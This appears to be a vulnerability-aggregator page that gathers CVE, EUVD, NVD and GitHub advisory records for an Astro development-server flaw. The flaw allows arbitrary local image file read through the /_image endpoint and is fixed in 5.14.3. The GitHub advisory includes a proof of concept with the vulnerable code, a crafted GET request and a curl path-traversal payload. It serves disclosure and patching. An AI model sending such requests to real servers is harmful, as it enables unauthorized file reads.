Astro Development Server is Vulnerable to Arbitrary Local File Read

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Astro is a web framework. Prior to version 5.14.3, a vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. This issue has been patched in version 5.14.3.

Source published

19 Nov 2025 16:40:36 UTC

Source modified

19 Nov 2025 21:04:23 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 3.5 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Astro is a web framework. Prior to version 5.14.3, a vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. This issue has been patched in version 5.14.3.

Source published

Nov 19, 2025, 4:40:36 PM (timezone not stated)

Source modified

Nov 19, 2025, 9:04:23 PM (timezone not stated)

Observed here

9 Nov 2026 04:07:44 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 3.5 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Astro is a web framework. Prior to version 5.14.3, a vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. This issue has been patched in version 5.14.3.

Source published

19 Nov 2025 17:15:52 UTC

Source modified

18 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 03:17:36 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 3.5 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

### Summary A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. ### Details - **Title**: Arbitrary Local File Read in Astro Development Image Endpoint - **Type**: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - **Component**: `/packages/astro/src/assets/endpoint/node.ts` - **Affected Versions**: Astro v5.x development builds (confirmed v5.13.3) - **Attack Vector**: Network (HTTP GET request) - **Authentication Required**: None The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an `href` parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths. **Vulnerable Code Location**: `packages/astro/src/assets/endpoint/node.ts` ```typescript // Vulnerable code in development mode if (import.meta.env.DEV) { fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src))); } else { // Production has proper path validation // ... security checks omitted in dev mode } ``` The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory. ### PoC #### Attack Prerequisites 1. Astro development server must be running (`astro dev`) 2. The `/_image` endpoint must be accessible to the attacker 3. Target image files must be readable by the Node.js process #### Exploit Steps 1. Start Astro Development Server: ```bash astro dev # Typically runs on http://localhost:4321 ``` 2. Craft Malicious Request: ```http GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321 ``` 3. Example Attack: ```bash curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png ``` #### Demonstration Results **Test Environment**: macOS with Astro v5.13.3 **Successful Exploitation**: - Target: `/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg` - Response: HTTP 200 OK, Content-Type: image/png - Exfiltration: 303 bytes (100x100 PNG) - File Created: `stolen-image.png` containing processed system image **Attack Payload**: ``` http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png ``` **Server Response**: ``` Status: 200 OK Content-Type: image/png Content-Length: 303 ``` ### Impact #### Confidentiality Impact: HIGH - **Scope**: Any image file readable by the Node.js process - **Exfiltration Method**: Complete file contents via HTTP response (transformed to PNG) #### Integrity Impact: NONE - The vulnerability only allows reading files, not modification #### Availability Impact: NONE - No direct impact on system availability - Potential for resource exhaustion through repeated large image requests ### Affected Components #### Primary Component - **File**: `packages/astro/src/assets/endpoint/node.ts` - **Function**: `loadLocalImage()` - **Lines**: Development mode branch (~25-35) #### Secondary Components - **File**: `packages/astro/src/assets/endpoint/generic.ts` - **Impact**: Uses different code path, not directly vulnerable - **Note**: Implements proper remote allowlist validation

Source published

19 Nov 2025 19:43:05 UTC

Source modified

20 Nov 2025 14:43:59 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Publisher rating · LOW